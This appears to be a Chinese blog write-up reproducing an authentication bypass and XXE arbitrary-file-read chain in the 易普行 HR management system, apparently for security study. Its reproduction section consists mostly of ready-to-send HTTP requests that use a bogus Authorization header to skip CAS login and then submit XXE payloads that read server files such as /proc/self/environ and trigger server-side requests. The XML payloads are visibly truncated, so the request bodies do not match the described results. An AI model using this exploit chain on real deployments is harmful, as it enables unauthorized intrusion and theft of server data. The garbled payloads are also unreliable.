news 2026/8/11 8:08:44

易普行人事管理系统 CAS认证绕过与XXE任意文件读取

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
易普行人事管理系统 CAS认证绕过与XXE任意文件读取

一 概述
易普行系统CAS认证链中存在信任边界不一致缺陷。第一层Filter在Token校验失败后对非通用API仍继续放行,第二层Filter仅检查Authorization头是否非空而不校验其有效性。攻击者通过伪造Authorization: Bearerinvalid头即可绕过CAS认证,到达受保护的UReport报表设计器接口/designer/savePreviewData,该接口使用dom4j SAXReader解析XML且未禁用外部实体,导致XXE任意文件读取。
漏洞接口:/epxing-frame/designer/savePreviewData、/epxing-frame/designer/loadReport
影响组件:CAS/SSO认证Filter链 + UReport报表设计器(dom4j SAXReader)
攻击条件:目标运行易普行系统且designer接口在线;无需任何有效凭据

名词解释
CAS(Central Authentication Service):中央认证服务,一种企业级单点登录(SSO)协议。用户在一个中心认证服务器完成登录后获得Service Ticket,各应用系统通过验证Ticket实现免重复登录。
SSO(Single Sign-On) 单点登录机制:用户在身份提供方完成一次认证后,可访问所有互信的服务提供方,无需重复登录。
Filter Chain(过滤器链):Java Servlet规范中的请求拦截机制。多个Filter按顺序组成链式结构,每个Filter可在请求到达Servlet前或响应返回后执行逻辑。
信任边界(Trust Boundary):安全架构中不同组件之间对数据可信度假设的分界线。当两个组件对同一数据的信任假设不一致时,即产生信任边界缺陷。
XXE(XML External Entity Injection):XML外部实体注入漏洞。XML规范允许通过DTD定义外部实体,当XML解析器处理包含恶意外部实体定义的XML时,会读取本地文件、发起网络请求或执行其他危险操作。
DTD(Document Type Definition):文档类型定义,XML规范中用于定义XML文档结构和实体声明的语言。XXE攻击通过在DTD中声明<!ENTITY name SYSTEM "file:///path">定义外部实体。
dom4j SAXReader:dom4j是Java生态中常用的XML解析库。SAXReader是其提供的基于SAX的XML读取器。默认配置下未禁用外部实体解析。
UReport:一款Java开源报表引擎,支持可视化设计报表模板。易普行系统集成了UReport,其设计器接口/designer/savePreviewData接收XML格式的报表预览数据。
OOB(Out-of-Band):带外数据外泄技术。当漏洞无法通过HTTP响应直接获取数据时,利用服务器发起的带外请求将数据发送到攻击者控制的外部接收器。
Authorization Bearer Token:HTTP认证方案,Bearer Token是OAuth 2.0/RFC 6750中定义的令牌类型。正常流程中服务端验证Token有效性,本漏洞中仅检查头是否非空。

二 复现
1 侦查阶段:确认接口暴露
请求:

GET /epxing-frame/designer/loadReport HTTP/1.1
Host: x.x.x.x

响应:

HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json

{“msg”:“Report [preview] not support.”,“code”:500}

分析:接口存在且返回业务错误(非404),说明/designer/*路由在线。

2 CAS认证绕过验证
攻击请求:
POST /epxing-frame/designer/loadReport HTTP/1.1
Host: x.x.x.x
Authorization: Bearerinvalid
Content-Type: application/x-www-form-urlencoded
Connection: close

file=preview

响应:
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json

{“msg”:“Report [preview] not support.”,“code”:500}

分析:响应状态码200且返回Spring Boot JSON错误(非302重定向至CAS登录页),证明请求已穿越两层Filter到达后端Controller层,CAS认证已被绕过。
3 XXE注入 — 读取存在的文件
攻击请求:
POST /epxing-frame/designer/savePreviewData HTTP/1.1
Host: x.x.x.x
Authorization: Bearerinvalid
Content-Type: application/x-www-form-urlencoded
Connection: close

file=preview&content=<?xml version="1.0" encoding="UTF-8"?>]>&xxe;

响应:
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json

{“msg”:“success”,“code”:200}

分析:响应{“msg”:“success”,“code”:200}表明SAXReader成功解析了XML并读取了/etc/os-release文件。
4 XXE注入 — 读取不存在的文件(对比验证)
攻击请求:
POST /epxing-frame/designer/savePreviewData HTTP/1.1
Host: x.x.x.x
Authorization: Bearerinvalid
Content-Type: application/x-www-form-urlencoded
Connection: close

file=preview&content=<?xml version="1.0" encoding="UTF-8"?>]>&xxe;

响应:
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json

{“msg”:“org.dom4j.DocumentException: /etc/nonexistent_file (No such file or directory)”,“code”:500}

分析:错误消息直接证明SAXReader尝试在服务器上打开/etc/nonexistent_file文件。对比存在文件返回success和存在文件返回错误,差异行为构成完整的XXE触发证据链。
5 XXE注入 — 读取二进制文件(内容确认)
攻击请求:
POST /epxing-frame/designer/savePreviewData HTTP/1.1
Host: x.x.x.x
Authorization: Bearerinvalid
Content-Type: application/x-www-form-urlencoded
Connection: close

file=preview&content=<?xml version="1.0" encoding="UTF-8"?>]>&xxe;

响应:
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json

{“msg”:“org.dom4j.DocumentException: … An invalid XML character (Unicode: 0x0) was found …”,“code”:500}

分析:/proc/self/environ包含大量null字节(键值对以\0分隔)。错误消息An invalid XML character (Unicode: 0x0)表明文件内容已被读入XML解析流程,因包含null字节导致解析失败。证明文件内容确实被读取。
6 HTTP OOB — 服务器发起外部HTTP请求
攻击请求:
POST /epxing-frame/designer/savePreviewData HTTP/1.1
Host: x.x.x.x
Authorization: Bearerinvalid
Content-Type: application/x-www-form-urlencoded
Connection: close

file=preview&content=<?xml version="1.0" encoding="UTF-8"?>]>&xxe;

响应:
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json

{“msg”:“org.dom4j.DocumentException: Error on line 6 of document http://x.x.x.x/epxing-frame/designer/loadReport … The element type “hr” must be terminated by the matching end-tag “” …”,“code”:500}

分析:错误消息中出现The element type “hr”(HTML标签


),证明服务器按外部实体声明发起了HTTP请求并获取了响应内容(一个HTML页面),因HTML非合法XML而报错。同时确认XXE可触发SSRF(服务器端请求伪造)。
三 流程图
正常业务流程
攻击流程图
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/11 8:08:36

DeepSeek V4 Flash模型ARC-AGI基准解读与本地化部署实践指南

在实际 AI 模型开发和应用中&#xff0c;评估一个模型的能力是至关重要的。模型基准测试&#xff0c;特别是针对高级推理能力的测试&#xff0c;为我们提供了客观、可量化的比较标准。最近&#xff0c;DeepSeek V4 Flash 模型在 ARC-AGI 基准上公布了其验证得分&#xff0c;这一…

作者头像 李华
网站建设 2026/8/11 8:08:28

SSM框架在高校环保公益平台中的实践与应用

1. 项目概述这个基于SSM框架的高校环保公益平台项目&#xff0c;是我去年指导计算机专业学生完成的毕业设计作品。作为一个整合了公益服务管理功能的Web系统&#xff0c;它完美融合了校园环保活动的实际需求与SSM框架的技术优势。平台采用经典的MVC分层架构&#xff0c;前端使用…

作者头像 李华
网站建设 2026/8/11 8:08:23

SpringBoot+Vue前后端分离架构实现大学生心理健康测评系统

这次我们来看一个基于 SpringBoot Vue 前后端分离架构实现的大学生心理健康测评系统。这个项目不仅提供了完整的源码&#xff0c;还附带了一篇详细的毕业论文&#xff0c;对于正在学习全栈开发、寻找毕业设计选题&#xff0c;或者需要快速搭建一个心理测评平台的同学来说&…

作者头像 李华
网站建设 2026/8/11 8:06:10

从重复劳动到自动化服务:工程化思维如何解决开发者的效率困境

最近在技术社区里&#xff0c;有个词被反复提起&#xff0c;不是某个新框架&#xff0c;也不是某个算法&#xff0c;而是一种状态——“想Jump了”。它可能出现在某个深夜调试的帖子下&#xff0c;也可能出现在一个复杂需求的技术评审会后。这个词背后&#xff0c;是一种普遍存…

作者头像 李华
网站建设 2026/8/11 8:05:45

brew list 命令详解

文章目录1. 命令介绍2. 常见用法1. 命令介绍 brew list 是 Homebrew 中用于查看已安装软件包的核心命令 根据不同的命令参数&#xff0c;它可以列出所有已安装包、分类列出特定类型的包&#xff0c;或者查看某个具体包的安装文件路径 Homebrew 将可安装的软件工具分为两大种类…

作者头像 李华
网站建设 2026/8/11 8:05:33

Unity网格变形插件Deform:高性能实时变形框架解析与应用实战

1. 项目概述&#xff1a;为什么Deform是Unity网格变形的“游戏规则改变者” 如果你在Unity里做过角色动画、环境交互或者任何需要模型动态变化的项目&#xff0c;大概率都遇到过网格变形的需求。传统的做法是什么&#xff1f;骨骼动画&#xff08;Skinned Mesh Renderer&#x…

作者头像 李华